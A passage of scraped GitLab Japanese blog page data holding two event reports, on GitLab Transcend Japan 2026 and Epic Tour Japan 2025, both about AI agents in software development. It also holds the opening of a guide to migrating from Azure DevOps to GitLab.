Leadのbash様と講演をおこないましたので、本記事にてその模様をレポートします。本講演ではピクシブ社がLLM利用率80％を実現した道筋について、川口がbash様からお話を伺いました。","https://res.cloudinary.com/about-gitlab-com/image/upload/v1776048599/gt0yoiimqorpdkne4kfm.jpg",{"featured":13,"template":796,"slug":957},"developers-summit-2026-spring-event-report",{"content":959,"config":967},{"heroImage":960,"body":961,"authors":962,"updatedDate":5,"date":963,"title":964,"tags":965,"description":966,"category":693},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772762140/zuh6yujweuoaixks5lul.jpg","2026年2月10日、GitLab は「GitLab Transcend Japan」を開催しました。本記事では、ビデオとセッションの模様を中心にレポートします。\n\n## **SaaSはAgentic AIの「主語」であるべき**\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772762586/uqq532hneioadonhyl6i.jpg \"GitLab合同会社 Head of Japan 小澤 正治\")\n\nGitLab は2026年2月10日、東京・六本木ヒルズクラブで「GitLab Transcend Japan」を開催しました。今回のイベントは、世界12都市で同日開催されたグローバルカンファレンスの一環で、GitLabを先進的に活用されている国内ユーザーの皆様の中から、グローバルで選定された方々を招待して実施しました。\n\nオープニングセッションには、GitLab Head of Japan 小澤 正治が登壇。小澤は、AIが急速に普及し「手段」として定着しつつある現状を踏まえ、Tech [SaaS](https://about.gitlab.com/ja-jp/blog/what-is-saas/)のあり方を再定義する必要性について以下のように語りました。\n\n「これからは、[Agentic AI](https://about.gitlab.com/ja-jp/topics/agentic-ai/)（自律型のAI）そのものを主語として考えるSaaSなのか、それともSaaSというプラットフォームを主語にして考えるAgentic AIなのか、この違いが問われる時代になります」\n\n統合プラットフォームであるGitLabは、ソフトウェア開発における複雑なワークフローをコントロールし、すべてのトランザクションをデータとして蓄積しています。そして、この膨大かつ正確なデータ群のおかげで、人やAIはコンテキスト（文脈）としてその全容を理解できるようになるのです。つまり、AIが精度の高い回答を提供してくれるか否かは、こうしたデータがそろっているかどうかが大きなカギになるわけです。「これこそ、GitLabが提供できる根源的な価値になります」（小澤）。\n\n小澤は、現在の日本企業を取り巻く環境について、3つの重要なトピックを挙げました。サイバーセキュリティと法規制、円安と輸出規制、および2025年の崖と人材不足です。\n\nサイバーセキュリティと法規制では、サイバー攻撃によるインシデントが多発する中、NIST（米国国立標準技術研究所）のガイドラインなど、国内外の法規制への対応が必須となっています。もはやセキュリティは「努力目標」ではなく「経営課題」と言える状況です。円安と輸出規制では、円安が輸出企業にとって追い風になる一方、欧州のサイバーレジリエンス法（CRA）やGDPRなどの規制をクリアしなければグローバル市場で戦えません。これらがビジネスのハードルになるケースが増えてきています。最後の2025年の崖と人材不足では、レガシーシステムのモダナイゼーションを推進できるIT人材の確保が多くの企業にとって悩みの種になっています。\n\nGitLabは、これらの課題に対しシングルプラットフォームという価値でこたえることができます。\n\n小澤は、「ソフトウェア開発のすべてをGitLab上で行うことで、データは単一のデータストアに蓄積されます。分断されたツール群では成し得ないこのデータとコンテキストの一元化こそが、AI活用における最大の武器になります。また、コンプライアンスやガバナンスに強制力を効かせながら、効率を下げずにソフトウェア開発することで、安心・安全なデリバリーが可能になるのです」と語りました。\n\n## **インテリジェント・オーケストレーションがソフトウェア開発の未来を切り拓く**\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772762585/aquhu0vpb07ibmortwhg.jpg \"会場の様子\")\n\n続いて、会場のスクリーンで全世界に向けたビデオが放映されました。GitLab CEO Bill Staplesをはじめとする経営陣、そして先進的なユーザー企業が登場し、AI時代の新たなソフトウェア開発戦略の発表の場です。\n\nStaplesは、「月曜の朝、コーヒーを片手にPCを開き、仕事をスタートさせます。しかし、実際にコードを書く時間はどれくらいあるでしょう？」と語りかけます。[25万人の開発者を対象とした調査](https://about.gitlab.com/ja-jp/developer-survey/japan/)によると、開発者が実際にコードを書いている時間は、1日平均でわずか52分に過ぎません。残りの時間は、会議、承認待ち、障害対応、およびその他の雑務に奪われているのです。\n\nこれがAIのパラドックスです。AIコーディングツールは、生産性10倍とうたいますが、それは業務全体のわずか10〜20%に過ぎないコーディング時間を短縮しているだけ。前後のプロセスにあるボトルネックが解消されない限り、ビジネス全体のデリバリー速度は劇的には向上しないのです。\n\nこの課題を解消するために、Staplesは「インテリジェント・オーケストレーション」という方向性を提唱します。これまでの開発は、人間がバケツリレーのように工程を渡していく「ステージベース」でした。これからは、AIエージェントが自律的にタスクを拾い、プロセス間を繋ぐ形へとシフトします。\n\n「人間はループの上に立ち、エージェントをオーケストレーション（指揮）する役割へと進化します」（Staples）と語ります。雑務から解放され、戦略や創造的な意思決定に集中する未来の姿がそこにあります。\n\n続いて、このビジョンを実践している企業として、サウスウエスト航空社のManaging Director、Grant Morris氏が登場しました。同社は、個別最適化されたツール群を捨て、GitLabでソフトウェア開発の全プロセスを統合。セキュリティとコンプライアンスを担保しながら開発者がビジネス価値の創出に集中できる環境を整備しています。\n\nAI活用についてGrant氏は、「セキュリティ修正や依存関係のアップデートなど、エンジニアが疲弊するルーティンワークをAIエージェントに任せています」と語ります。さらに将来は、「AIエージェントがバックグラウンドで常にコードを監視し、リファクタリング（ソフトウェアの内部コード構造を整理する作業）やアップグレードを自律的に提案してくれるようになるでしょう。つまり、技術的負債という概念自体が過去のものになります」と語りました。\n\n続いて登場したGitLab CPMOのManav Khuranaは、インテリジェント・オーケストレーションを実現するための製品戦略について解説しました。\n\nまずは、AIエージェントをGitLab内で機能させる基盤となるAgentic Coreの進化。リポジトリやイシューなどをAIがコンテキストとして理解できるように構造化する独自技術を提供します。汎用的なエージェントに加え、各社独自のノウハウを組み込んだCustom Agentsを作成・公開できるAI Catalogを用意し、JiraやSlackなど外部ツールからもコンテキストを取得するためにModel Context Protocol （MCP）にも対応します。\n\n既存機能の強化では、複雑なYAMLを書かずにAIと対話しながらパイプラインを構築できるAIファーストのCI/CDビルダーや、あらゆる成果物をGitLab内で一元管理し、AIエージェントが機密性の高い状態でも安全にアクセスできる仕組みを構築します。\n\nGitLabは、SaaSだけでなく、オンプレミス環境でも利用できます。AIもオンプレミスで利用できるよう、ガバナンスを効かせた状態でAIを活用できる環境も提供します。独自のAIモデルを持ち込むBYOM（Bring Your Own Model）や、インターネット遮断環境（エアギャップ）にも対応します。\n\nビデオの終盤には、Oracle Group VPであるVictor Restrepo氏が登場し、GitLabとの強力なパートナーシップについて語りました。Restrepo氏は、Oracle Cloud Infrastructure （OCI）のコストパフォーマンスとGitLabの効率性を組み合わせることでインフラコストを削減し、その分をイノベーション投資に回すクラウドエコノミクスの重要性を強調。「政府系クラウドや専用リージョンを持つOCI上でGitLabを稼働させれば、厳しい規制が課される業界でもセキュアにAIを活用できるようになります」とGitLabとの親和性についても語りました。\n\n## **コンテキストを理解し、自律的に動くAIエージェント**\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772762585/etl4f4uhcggrndlhwgr2.jpg \"GitLab合同会社 ソリューションアーキテクト本部 シニアソリューションアーキテクト 吉瀬 淳一\")\n\nビデオで披露された最新機能について、次のセッションで実機デモを交えた解説が行われました。その際にも強調されたのは、コンテキストの重要性です。AIエージェントが的確な仕事をするためには、プロジェクトの全容を理解している必要があります。企画から監視までをシングルプラットフォームで管理しているGitLabだからこそ、AIは断片的な情報ではなく、プロジェクトの全履歴という文脈を理解した上で自律的に動くことができるのです。\n\nデモでは、まず[Duo Planner Agent](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/planner/)を紹介。「こんな感じの機能をリリースしたい」という人間からの曖昧な指示に対し、AIはバックログや現状のコードベースを分析し、数分で具体的なタスクへと分解し、実行計画を立案してくれます。[Duo CLI](https://docs.gitlab.com/ja-jp/cli/duo/cli/)のデモでは、ターミナル上での作業をAIが支援してくれる様子が披露されました。対話内容はWeb UIと同期されるため、開発者はツール間を行き来することなく、シームレスに作業を継続できます。\n\n[Foundational Flows](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/foundational_flows/)のデモでは、CIパイプラインが失敗した際にワンクリックでAIがログを解析してくれました。原因の特定から修正コードの作成、そして修正用マージリクエストの作成まで、AIが自律的に支援してくれます。[Security Analyst Agent](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)も便利です。脆弱性が検出された際に、単に警告を出すだけではなく、AIエージェントが「なぜ危険なのか」を解説し、具体的な修正パッチを作成してくれます。\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772762585/a9yas83dxdhjopxifx5z.jpg \"写真左から株式会社SBI証券 執行役員 IT企画部長 武藤 恵慈氏、GitLab合同会社 Head of Japan 小澤正治\")\n\n最後のセッションには、国内の先進事例として、株式会社SBI証券 執行役員 IT企画部長 武藤 恵慈氏をお招きし、小澤とのFireside Chatを実施しました。かつてはシステムや言語が乱立する課題を抱えていた同社は内製化へと大きく舵を切り、大規模かつ多数のプロジェクトを効率的に推進しています。詳細なセッション内容は、近日中に公開予定です。\n\nこの日のイベントでは、Staplesの以下の発言が印象に残りました。\n\n「ソフトウェア開発は、コードを書くことから価値を創ることへと変化しています」\n\nGitLabは単なるツールから、人間とAIエージェントが協調して働くための基盤である「インテリジェント・オーケストレーション・プラットフォーム」へと進化します。AIのパラドックスを乗り越え、開発者が真のイノベーションに注力できる未来へ。「Transcend（=超越）」というイベント名にふさわしい、新たな時代が幕を開けます。",[912],"2026-03-10","AIのパラドックスを解くカギはインテリジェント・オーケストレーション【GitLab Transcend Japanレポート】",[806,88,916,695,252,757,917],"2026年2月10日に開催した「GitLab Transcend Japan」の模様をレポートします。\n",{"featured":13,"template":796,"slug":968},"event-report-transcend-tokyo-2026",{"content":970,"config":978},{"heroImage":971,"body":972,"authors":973,"updatedDate":876,"date":974,"title":975,"tags":976,"description":977,"category":693},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1770082992/ll61ekf2lcgogkgay69j.jpg","*2026年2月5日追記：本文内に東レ様の事例を追加しました。*\n\n2025年11月に開催した年次イベント「GitLab Epic Tour Japan 2025」の模様をお伝えします。\n\n> 【期間限定！動画で見る】GitLab Epic Tour Japan 2025 オンデマンド配信は[こちら](https://www.event-site.info/gitlab-epic-conference-japan-2025/?r=eventreport)\n\nGitLabは2025年11月28日、都内で年次イベントで「GitLab Epic Tour Japan 2025 〜AI駆動ソフトウェア開発の攻めと守り〜」を開催しました。生成AIの登場により、ソフトウェア開発の現場は大きな変化にさらされることになりました。コード生成AIを活用して生産性向上を狙う「攻め」については、すでに多くの開発者が取り組んでいます。一方、AIが生成したコードの脆弱性をどうすべきかという「守り」の重要性が、かつてないほど高まっています。この日のイベントでは、AI時代の開発プラットフォームのあり方、そして日本企業が直面する課題への具体的な処方箋を示しました。本稿では、主要セッションの内容を中心に、イベントの全容をレポートします。\n\n## **「DevSecOps認知度30%」の数年後に、AI Native時代がやってきた**\n\n![「DevSecOps認知度30%」の数年後に、AI Native時代がやってきた](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083035/sp4llxhmbx2kcawgexyp.jpg \"GitLab合同会社 Japan Country Manager 小澤 正治\")\n\nオープニングセッションでは、GitLab Japan Country manager小澤 正治がご挨拶させていただきました。小澤は2年半前の入社当時を振り返り、次のように語ります。\n\n「当時、経済産業省のレポートを読むと、国内の[DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/)の認知度はわずか30%でした。正直、どうしようかと震えていたのですが、状況は大きく変わりました。この変化にワクワクしています」\n\nこの2年半で、GitLab自身も大きく進化しました。当時は単に「[DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/) Platform」でしたが、AI要素を付加した「AI Powered」が枕詞になりました。そして現在は、「AI Native [DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/) Platform」です。つまり、GitLabそのものがAIを中核に据えたプラットフォームへと成長したと言えます。\n\n![「DevSecOps認知度30%」の数年後に、AI Native時代がやってきた](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083037/z1vvb6yuqznqlpe9nukf.jpg \"GitLab合同会社 Staff Regional Marketing Manager 川口 修平\")\n\n続いて登壇したStaff Regional Marketing Manager 川口 修平は、AI導入により開発者1人あたり年間120万円相当の工数を削減でき、その結果として日本の経済効果が約1兆6000億円に上るという試算を[紹介](https://japanese-developer-survey.about.gitlab-review.app/ja-jp/developer-survey/japan/)。ただし、AI活用に立ちはだかる困難を、「3つの壁」として提示しました。\n\nまずは、技術的負債の壁。レガシーコードやドキュメント不足が、AIのコンテキスト理解を妨げています。続いて、セキュリティリスクの壁。 AI生成コードの約45%に脆弱性が含まれるというデータがあり、インシデントを防ぐ防災に加えて、被害を最小限にする減災の考え方も不可欠になります。最後に、人材の壁。エンジニアの役割はコードを書くことから、AIの成果物が正しいかどうかを評価することへシフトします。\n\nこれらの課題を解決するカギになるのが、[GitLab Duo Agent Platform](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)（以下、DAP）です。開発サイクル上のすべての情報を単一データストアへと集約することで、AIがコンテキストを深く理解し、精度が高く、かつ自律的な支援が可能になります。\n\n## **「Prompt to Production」の危険性と、自律型AIエージェントの未来**\n\n![「Prompt to Production」の危険性と、自律型AIエージェントの未来](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083038/ydpympgpv51g0tncpw7j.jpg \"GitLab CTO Asia Pacific & Japan Andrew Haschka\")\n\n続いて登壇したGitLab CTO Asia Pacific & Japan Andrew Haschka氏は、アジア太平洋地域のリーダーたちとの対話から得た知見をに基づき、AI活用の次のステージについて語りました。\n\nHaschkaは、「AIを正しく機能させるためには、開発の全工程を網羅した“信頼できる唯一の情報源”が不可欠です」と強調します。現在、多くの企業は開発現場にAIを導入していますが、その用途は「AIコーディング」に偏りすぎています。しかしながら、計画、テスト、セキュリティといった周辺プロセスにも、AIによる最適化の余地があるのです。\n\n「私は、ガバナンスがない状態で、バラバラのAIツールを使うことをPrompt to Productionと呼び、危険視しています。テストやセキュリティチェックをスキップし、プロンプトの結果をいきなり本番環境へ反映してしまうリスクがあるためです」（Haschka）\n\nこの問題を解決するのが、[DAP](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)と[Agentic Flows](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/)。人間がAIに質問して答えを得るチャットボット形式とは一線を画す概念で、1人の人間が多数のAIエージェントを指揮します。すると、エージェント同士が連携し、計画から実装、テストまでを自律的な流れとして実行することになります。\n\nHaschkaは、「GitLabのAIエージェントは、組織のポリシーというガードレールの下で動きます。だからこそ、リスクを最小限に抑えながらイノベーションを加速できるのです」と話します。「AIは、開発者のためにコードを書いてくれるだけでなく、チームメンバーとして一緒に働いてくれる存在になります」。\n\nAIツールをバラバラに使う段階は終わりました。すでに、統合プラットフォーム上でAIを“良き同僚”として迎え入れる環境は整っています。\n\n## **3つの壁を突破する具体的アプローチ**\n\n![3つの壁を突破する具体的アプローチ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083038/gazgh2phoxeiglbzsutt.jpg \"GitLab合同会社 ソリューションアーキテクト 本部長 藤田 周\")\n\n続いて、ソリューションアーキテクト 本部長 藤田 周が登壇しました。藤田は、オープニングで提示された3つの壁に対する、より実践的で技術的な解決策を深掘りしました。\n\n技術的負債の壁は、リアーキテクチャで乗り越えます。古いシステムを単にクラウドに乗せ換える「リホスト」や、すべてを作り直す「リビルド」は、コストの面でも効果の面で現実的にならないケースが目につきます。そこで藤田は、生成AIを活用した「リアーキテクチャ」を提唱します。\n\n具体的には、まずレガシーコードをAIに読み込ませ、人間にとってもAIにとっても理解しやすい「マークダウン形式の設計書」を出力。ブラックボックス化した仕様を可視化した上で、モダンなコードとテストケースをAIに生成させるというアプローチを取ります。これにより、手のつけられなかった旧来のシステムが、最新のアーキテクチャ上で以前と同様の機能を提供してくれるようになります。\n\nセキュリティリスクの壁は、スピードがカギを握ることになります。巷間、「脆弱性が公開されてから攻撃が始まるまで、わずか15分」という数字が語られていますが、これは現実です。攻撃を受けてから人間が会議を開き、パッチ適用の計画を立てている間に、攻撃者はすでに侵入を開始しているのです。\n\n藤田はデモを通じて、GitLabの[Security Analyst Agent](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)がこのスピードに対抗できることを示しました。AIエージェントが膨大な脆弱性情報の中から誤検知を取り除き、自動で対応すべき優先順位を付け、さらに修正コードまで作成してくれます。人間はAIの提案を確認してマージボタンを押すだけです。藤田は、「精神論や手動チェックではもう守りきれないのです」と語りました。\n\n人材の壁をクリアする第一歩は、伴走支援のエコシステムを構成することです。エンジニアに求められるスキルセットが変化する中、何らかのツールを導入したり、担当者のスキルアップを図るだけでは、解決策になりません。藤田氏は、専門性の高いパートナー企業による伴走支援の重要性について話し、GitLabをプラットフォームとして開発プロセスを最適化すると同時に、優れたパートナー企業をプロセスに取り込み、さらに組織変革をセットで進めます。その際に、パートナー企業が組織変革についてもサポートしてくれれば理想でしょう。\n\n藤田は講演の中で、[DAP](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)による開発の自律化についても紹介しました。AIが先回りして動いてくれる一例が「Issue to MR」です。AIがイシューを読み、計画を立て、コードを書き、マージリクエストまで作成します。また、人間がレビューする前にAIがセキュリティや規約チェックを行う機能により、人間の負荷を劇的に下げることができます。これら一連の仕組みは、プロジェクト全体のコンテキストをAIが理解することで支えられています。\n\n## **4社の最新事例発表も実施**\n\n![4社の最新事例発表も実施](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083239/nilg9jbd5b6p6epbybqw.jpg \"お客様の講演\")\n\nこの日のイベントでは、ピクシブ株式会社様、東レ株式会社様、日立グループ様（株式会社日立プラントサービス様、株式会社日立システムズ様）、株式会社みんなの銀行様（登壇順）の4社のユーザー企業様がご登壇され、それぞれの挑戦についてご共有いただきました。各社の取り組みについては、以下のリンクよりご覧ください。\n\n・[株式会社みんなの銀行様](https://about.gitlab.com/ja-jp/blog/epic-tokyo-2025-minna-no-ginko/)\n\n・[東レ株式会社様](https://about.gitlab.com/ja-jp/blog/epic-tokyo-2025-toray/)　\n\n・[ピクシブ株式会社様](https://about.gitlab.com/ja-jp/blog/epic-tokyo-2025-pixiv/)  \n\n・[日立プラントサービス様](https://about.gitlab.com/ja-jp/blog/epic-tokyo-2025-hitachi-hps/)　**NEW!**\n\n## **次は1年後。きっと大きな変化が起きているはず**\n\n![次は1年後。きっと大きな変化が起きているはず](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770083054/p39lvxa768ifqlezd4jw.jpg \"会場の様子\")\n\nクロージングセッションに再登壇した小澤は、部分最適の罠について強調しました。AIを活用することで特定の作業やプロセスが高速化したとしても、それが故に別の場所にボトルネックが生まれることになっては意味がありません。全体最適を目指すことが大切で、そのためにGitLabが持つシングルデータストアという基盤が効いてくることになります。\n\nさらに、GitLabが講演した内容と発表された事例を総括し、「かつてDevOpsはSecurityを加えて[DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/)になりました。それがいまや完全に[DevSecOps](https://about.gitlab.com/ja-jp/topics/devsecops/)として一体のものとして認識されています。その上で、AI活用が進んでいるのです」と話します。GitLabのAI Native DevSecOpsも、テクノロジーの通過点であり、さらに最適化された未来が待っているのでしょう。\n\n2026年の秋にもまた、GitLabは「Epic Tour Japan」を実施します。\n\n小澤は、「1年先は近いようで遠いです。いまはまだ読めない変化が起きているはずです。しかし、GitLabも世の中のニーズに合わせて柔軟に進化していきます。来年のこのイベントで、これから生まれる新しい事例を皆様にお伝えできることにワクワクしています」と結び、今年のEpic Tourは盛況のうちに幕を閉じました。",[912],"2026-02-03","AI駆動ソフトウェア開発の攻めと守り【GitLab Epic Tour Japan 2025レポート】",[806,916,695,757,917],"2025年11月に開催した年次イベント「GitLab Epic Tour Japan 2025」の模様をご紹介。",{"featured":13,"template":796,"slug":979},"event-report-epic-tokyo-2025",{"category":708,"slug":706,"posts":981},[982,997,1011],{"content":983,"config":995},{"heroImage":984,"body":985,"authors":986,"updatedDate":989,"date":990,"title":991,"tags":992,"description":994,"category":706},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658924/Blog/Hero%20Images/securitylifecycle-light.png","Azure DevOpsからGitLabへの移行は困難な作業のように思えるかもしれませんが、適切なアプローチとツールを使用すれば、スムーズかつ効率的に進められます。このガイドでは、Azure DevOpsからGitLabへプロジェクト、リポジトリ、パイプラインを正常に移行するために必要な手順を説明します。\n\n## 概要\n\nGitLabは、Azure DevOps（ADO）からプロジェクトを移行するための[Congregate](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/)([GitLabプロフェッショナルサービス（PS）](https://about.gitlab.com/ja-jp/professional-services/)によって管理）と[組み込みのGitリポジトリインポート](https://docs.gitlab.com/user/project/import/repo_by_url/)の両方を提供しています。これらのオプションは、リポジトリごとまたは一括移行をサポートし、Gitコミット履歴、ブランチ、タグを保持します。Congregateとプロフェッショナルサービスのツールを使用すると、Wiki、作業アイテム、CI/CD変数、コンテナイメージ、パッケージ、パイプラインなどの追加アセットもサポートされます（この[機能マトリクス](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/blob/master/customer/ado-migration-features-matrix.md)を参照）。このガイドを参照すれば、移行を計画・実行し、移行後のフォローアップタスクを完了できます。\n\nADOからGitLabへ移行する企業は、一般的に複数フェーズのアプローチに従います：\n\n* CongregateまたはGitLabの組み込みリポジトリ移行を使用して、ADOからGitLabにリポジトリを移行します。\n* AzureパイプラインからGitLab CI/CDにパイプラインを移行します。\n* ボード、作業アイテム、アーティファクトなどの残りのアセットを、GitLabのイシュー、エピック、パッケージレジストリ、コンテナレジストリに移行します。\n\n移行フェーズの概要:\n\n```mermaid\ngraph LR\n    subgraph Prerequisites\n        direction TB\n        A[\"IDプロバイダー（IdP）を設定し\u003Cbr/>ユーザーをプロビジョニング\"]\n        A --> B[\"Runnerとサードパーティ\u003Cbr/>インテグレーションを設定\"]\n        B --> I[\"ユーザーの有効化と\u003Cbr/>変更管理\"]\n    end\n    \n    subgraph MigrationPhase[\"移行フェーズ\"]\n        direction TB\n        C[\"ソースコードを移行\"]\n        C --> D[\"コントリビューションを保持し\u003Cbr/>履歴をフォーマット\"]\n        D --> E[\"作業アイテムを移行し\u003Cbr/>\u003Ca href=\"https://docs.gitlab.com/topics/plan_and_track/\">GitLab Plan\u003Cbr/>および作業追跡\u003C/a>にマッピング\"]\n    end\n    \n    subgraph PostMigration[\"移行後の手順\"]\n        direction TB\n        F[\"ADOパイプラインを\u003Cbr/>GitLab CIに作成または変換\"]\n        F --> G[\"その他のアセット、パッケージ、\u003Cbr/>コンテナイメージを移行\"]\n        G --> H[\"\u003Ca href=\"https://docs.gitlab.com/user/application_security/secure_your_application/\">セキュリティ\u003C/a>と\u003Cbr/>SDLC改善を導入\"]\n    end\n    \n    Prerequisites --> MigrationPhase\n    MigrationPhase --> PostMigration\n\n    style A fill:#FC6D26\n    style B fill:#FC6D26\n    style I fill:#FC6D26\n    style C fill:#8C929D\n    style D fill:#8C929D\n    style E fill:#8C929D\n    style F fill:#FFA500\n    style G fill:#FFA500\n    style H fill:#FFA500\n```\n\n## 移行の計画\n\n**移行を計画するにあたり、次の質問を検討します:**\n\n* 移行をいつまでに完了する必要があるか?\n* 何が移行されるかを理解しているか?\n* 誰が移行を実行するか?\n* GitLabでどのような組織構造を望むか?\n* 考慮すべき制約、制限、落とし穴はあるか?\n\nタイムラインを決定します。これは移行アプローチを大きく左右します。ADOとGitLabの両プラットフォームに精通したチャンピオンやグループ（アーリーアダプターなど）を特定し、導入を推進してアドバイスを提供してもらいます。\n\n**移行が必要なものをインベントリ化:**\n\n* リポジトリ、プルリクエスト、コントリビューターの数\n* 作業アイテムとパイプラインの数と複雑さ\n* リポジトリのサイズと依存関係\n* 重要なインテグレーションとRunner要件（特定の機能を持つエージェントプール）\n\nGitLab プロフェッショナルサービスの[Evaluate](https://gitlab.com/gitlab-org/professional-services-automation/tools/utilities/evaluate#beta-azure-devops)ツールを使用して、リポジトリ、PR数、コントリビューターリスト、パイプライン数、作業アイテム、CI/CD変数などを含むAzure DevOps組織全体の完全なインベントリを作成します。GitLabプロフェッショナルサービスチームと連携している場合は、このレポートをエンゲージメントマネージャーまたはテクニカルアーキテクトと共有し、移行計画に役立ててください。\n\n移行のタイミングは、主にプルリクエスト数、リポジトリサイズ、コントリビューション量（PRのコメント、作業アイテムなど）によって決まります。たとえば、PRが少なくコントリビューターが限られた1,000の小規模リポジトリは、数万のPRと数千のコントリビューターを含む少数のリポジトリよりもはるかに高速に移行できます。インベントリデータを使用して作業量を見積もり、本番移行を進める前にテスト実行を計画します。\n\nインベントリを希望のタイムラインと比較し、すべてのリポジトリを一度に移行するか、バッチで移行するかを決定します。チームが同時に移行できない場合は、チームのスケジュールに合わせて移行をバッチ化し、段階的に実行します。たとえば、プロフェッショナルサービスのエンゲージメントでは、複雑さを管理し、[GitLab](https://docs.gitlab.com/security/rate_limits/)と[ADO](https://learn.microsoft.com/en-us/azure/devops/integrate/concepts/rate-limits?view=azure-devops)の両方のAPIレート制限を尊重するために、200〜300プロジェクト単位の段階に分割して移行を実施します。\n\nGitLabの組み込み[リポジトリインポーター](https://docs.gitlab.com/user/project/import/repo_by_url/)は、Gitリポジトリ（コミット、ブランチ、タグ）を1つずつ移行します。Congregateは、可能な限りプルリクエスト（GitLabではマージリクエストとして知られています）、コメント、関連メタデータを保持するように設計されています。シンプルな組み込みリポジトリインポートは、Gitデータ（履歴、ブランチ、タグ）のみに焦点を当てています。\n\n**通常、個別の移行または手動での再作成が必要な項目:**\n\n* Azureパイプライン - 同等のGitLab CI/CDパイプラインを作成([CI/CD YAML](https://docs.gitlab.com/ci/yaml/)または[CI/CDコンポーネント](https://docs.gitlab.com/ci/components/)を参照)。または、CongregateのAIベースのパイプライン変換を使用することを検討してください。\n* 作業アイテムとボード - GitLabのイシュー、エピック、イシュー ボードにマッピング。\n* アーティファクト、コンテナイメージ(ACR) - GitLabパッケージレジストリまたはコンテナレジストリに移行。\n* サービスフックと外部インテグレーション - GitLabで再作成。\n* [権限モデル](https://docs.gitlab.com/user/permissions/)はADOとGitLabで異なります。完全な保持を想定するのではなく、権限マッピングを確認および計画してください。\n\n各ツール（Congregateと組み込みインポート）が何を移行するかを確認し、ニーズに合ったものを選択します。手動で移行または再作成する必要があるデータやインテグレーションのリストを作成します。\n\n**誰が移行を実行するか?**\n\n移行は通常、GitLabグループオーナーまたはインスタンス管理者、または移行先グループ/プロジェクトに必要な権限を付与された指定の移行担当者によって実行されます。CongregateとGitLabインポートAPIには、Azure DevOpsとGitLabの両方の有効な認証トークンが必要です。\n\n* グループオーナー/管理者が移行を実行するか、特定のチーム/個人に委任アクセスを付与するかを決定します。\n* 移行担当者が、選択した移行ツールに必要なスコープ（api/read_repositoryスコープやツール固有の要件など）を持つ個人アクセストークン（Azure DevOpsとGitLab）を正しく設定していることを確認します。\n* 小規模なパイロット移行でトークンと権限をテストします。\n\n**注:** CongregateはADO移行のためにファイルベースのインポート機能を活用し、実行にはインスタンス管理者権限が必要です（[ドキュメントを参照](https://docs.gitlab.com/user/project/settings/import_export/#migrate-projects-by-uploading-an-export-file)）。GitLab.comに移行する場合は、プロフェッショナルサービスの利用を検討してください。詳細については、[Professional Services Full Catalog](https://about.gitlab.com/professional-services/catalog/)を参照してください。管理者以外のアカウントでは、コントリビューションの帰属を保持できません。\n\n**GitLabでどのような組織構造を望むか?**\n\nADO構造をGitLab構造に直接マッピングすることは可能ですが、移行中に構造を合理化および簡素化することをお勧めします。チームがGitLabでどのように作業するかを検討し、コラボレーションとアクセス管理を促進する構造を設計します。ADO構造をGitLab構造にマッピングする方法は次のとおりです。\n\n```mermaid\ngraph TD\n    subgraph GitLab\n        direction TB\n        A[\"トップレベルグループ\"]\n        B[\"サブグループ（オプション）\"]\n        C[\"プロジェクト\"]\n        A --> B\n        A --> C\n        B --> C\n    end\n\n    subgraph AzureDevOps[\"Azure DevOps\"]\n        direction TB\n        F[\"組織\"]\n        G[\"プロジェクト\"]\n        H[\"リポジトリ\"]\n        F --> G\n        G --> H\n    end\n\n    style A fill:#FC6D26\n    style B fill:#FC6D26\n    style C fill:#FC6D26\n    style F fill:#8C929D\n    style G fill:#8C929D\n    style H fill:#8C929D\n```\n\n推奨アプローチ:\n\n* 各ADO組織をGitLabグループ（または少数のグループ）にマッピングし、多数の小さなグループには分割しないでください。ADOチームプロジェクトごとにGitLabグループを作成することは避けてください。移行をGitLab構造を合理化する機会として活用してください。\n* サブグループとプロジェクトレベルの権限を使用して、関連リポジトリをグループ化します。\n* GitLabグループとグループメンバーシップ（グループとサブグループ）を使用してプロジェクトのセットへのアクセスを管理し、チームプロジェクトごとに1つのグループを作成しないでください。\n* GitLabの[権限](https://docs.gitlab.com/ee/user/permissions.html)を確認し、[SAML Group Links](https://docs.gitlab.com/user/group/saml_sso/group_sync/)を検討して、GitLabインスタンス（またはGitLab.comネームスペース）のエンタープライズRBACモデルを実装します。\n\n**ADOボードと作業アイテム: 移行の状態**\n\n作業アイテムがADOからGitLab Plan（イシュー、エピック、ボード）にどのように移行されるかを理解することが重要です。\n\n* ADOボードと作業アイテムは、GitLabのイシュー、エピック、イシューボードにマッピングされます。ワークフローとボード設定がどのように変換されるかを計画します。\n* ADOのエピックと機能は、GitLabのエピックになります。\n* その他の作業アイテムタイプ（ユーザーストーリー、タスク、バグなど）は、プロジェクトスコープのイシューになります。\n* ほとんどの標準フィールドが保持されます。サポートされている場合、選択したカスタムフィールドを移行できます。\n* 親子関係が保持されるため、エピックはすべての関連イシューを参照します。\n* プルリクエストへのリンクはマージリクエストリンクに変換され、開発のトレーサビリティが維持されます。\n\n例: 個別の作業アイテムのGitLabイシューへの移行（フィールドの正確性と関係性を含む）:\n\n![例: 